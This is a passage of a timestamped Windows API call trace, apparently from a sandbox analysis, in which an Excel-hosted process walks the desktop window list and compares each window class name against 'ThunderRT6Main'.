lpdwProcessId=0x0) returned 0x3a0 [0099.894] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0099.894] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd1f4c0 [0099.898] IMalloc:Free (This=0x7feffc15380, pv=0xbd1f4c0) [0100.485] GetAsyncKeyState (vKey=27) returned 0 [0100.485] GetCurrentThreadId () returned 0x8fc [0100.485] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0100.485] GetDesktopWindow () returned 0x10010 [0100.485] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 [0100.485] GetClassNameA (in: hWnd=0x10070, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.485] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.485] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.485] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0100.485] GetClassNameA (in: hWnd=0x10140, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0100.485] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0100.485] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0100.485] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0100.485] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.485] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.485] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0100.485] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0100.485] GetClassNameA (in: hWnd=0x10138, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0100.486] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0100.486] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0100.486] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0100.486] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.486] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.486] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.486] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0100.486] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.486] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.486] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.486] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0100.486] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.486] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.486] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.486] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0100.486] GetClassNameA (in: hWnd=0x10072, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.492] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.492] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.492] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0100.492] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.492] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.492] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.492] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0100.492] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.492] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.492] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.492] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0100.492] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.492] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.492] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.492] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0100.492] GetClassNameA (in: hWnd=0x10078, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.492] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.493] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.493] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0100.493] GetClassNameA (in: hWnd=0x10074, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.493] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.493] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.493] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0100.493] GetClassNameA (in: hWnd=0x10052, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0100.493] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0100.493] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.493] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0100.493] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.493] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.493] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.493] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0100.493] GetClassNameA (in: hWnd=0x10054, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Button") returned 6 [0100.493] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0100.493] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.493] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0100.493] GetClassNameA (in: hWnd=0x10050, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0100.493] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0100.493] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.493] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0100.493] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.494] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.494] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0100.494] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0100.494] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.494] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.494] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.494] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0100.494] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0100.494] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0100.494] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.494] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0100.494] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0100.494] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0100.494] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.494] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x1021a [0100.494] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0100.494] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0100.494] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.494] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0100.494] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0100.494] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0100.494] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0100.494] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.494] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.494] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.495] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0100.495] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0100.495] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0100.495] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x3021c [0100.495] GetClassNameA (in: hWnd=0x3021c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="#32770") returned 6 [0100.495] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1 [0100.495] GetWindowThreadProcessId (in: hWnd=0x3021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.495] GetWindowLongA (hWnd=0x3021c, nIndex=-16) returned -1798831675 [0100.495] GetWindowLongPtrA (hWnd=0x3021c, nIndex=-6) returned 0x7feef2c0000 [0100.495] GetWindowLongPtrA (hWnd=0x3021c, nIndex=-6) returned 0x7feef2c0000 [0100.495] GetWindow (hWnd=0x3021c, uCmd=0x2) returned 0x101d4 [0100.495] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0100.495] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0100.495] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.495] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 516882432 [0100.495] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0100.495] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0100.495] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0100.495] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.495] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.495] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.495] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0100.495] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0100.495] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0100.495] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0100.495] GetClassNameA (in: hWnd=0x10200, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.495] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.495] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.495] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0100.495] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0100.495] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0100.495] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0100.495] GetClassNameA (in: hWnd=0x10202, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.495] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.496] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.496] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0100.496] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0100.496] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0100.496] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 [0100.496] GetClassNameA (in: hWnd=0x10204, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.496] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.496] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.496] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0100.496] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0100.496] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0100.496] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x302e6 [0100.496] GetClassNameA (in: hWnd=0x302e6, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0100.496] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0100.496] GetWindowThreadProcessId (in: hWnd=0x302e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0100.496] GetWindow (hWnd=0x302e6, uCmd=0x2) returned 0x502aa [0100.496] GetClassNameA (in: hWnd=0x502aa, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.496] GetWindowThreadProcessId (in: hWnd=0x502aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0100.496] GetWindow (hWnd=0x502aa, uCmd=0x2) returned 0x202ca [0100.496] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0100.496] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0100.496] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.496] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 516882432 [0100.496] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0100.496] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0100.496] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0100.496] GetClassNameA (in: hWnd=0x20266, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.496] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.496] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.496] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -1778384896 [0100.496] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0100.496] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0100.497] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0100.497] GetClassNameA (in: hWnd=0x20268, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.497] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.497] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896 [0100.497] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0100.497] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0100.497] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0100.497] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.497] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.497] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896 [0100.497] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0100.497] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0100.497] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0100.497] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.497] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.497] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -1778384896 [0100.497] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0100.497] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0100.497] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x202b0 [0100.497] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0100.497] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0100.497] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.497] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056 [0100.497] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0100.497] IsWindowEnabled (hWnd=0x202b0) returned 0 [0100.497] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0100.497] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0100.497] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0100.498] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0100.498] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0100.498] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0100.498] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.498] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0100.498] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0100.498] GetClassNameA (in: hWnd=0x10296, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0100.498] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0100.498] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0100.498] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0100.498] GetClassNameA (in: hWnd=0x20232, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0100.498] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0100.498] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.498] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0100.498] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0100.498] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0100.498] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0100.498] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0100.498] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0100.498] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.498] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0100.498] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0100.498] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0100.498] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0100.499] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.499] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.499] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0100.499] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0100.499] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0100.499] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0100.499] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.499] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.499] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0100.499] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0100.499] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0100.499] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0100.499] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.499] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.499] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0100.499] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0100.499] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0100.499] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0100.500] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0100.500] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0100.500] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.500] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0100.500] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0100.500] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0100.500] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0100.500] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0100.500] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0100.500] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.500] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0100.500] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0100.500] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0100.500] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0100.500] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0100.500] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0100.500] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0100.500] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0100.500] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0100.501] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0100.501] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.501] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0100.501] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0100.501] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0100.501] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x10194 [0100.501] GetClassNameA (in: hWnd=0x10194, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.501] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0100.501] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10192 [0100.501] GetClassNameA (in: hWnd=0x10192, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="spendwin") returned 8 [0100.501] lstrcmpA (lpString1="spendwin", lpString2="ThunderRT6Main") returned -1 [0100.502] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0100.502] GetWindow 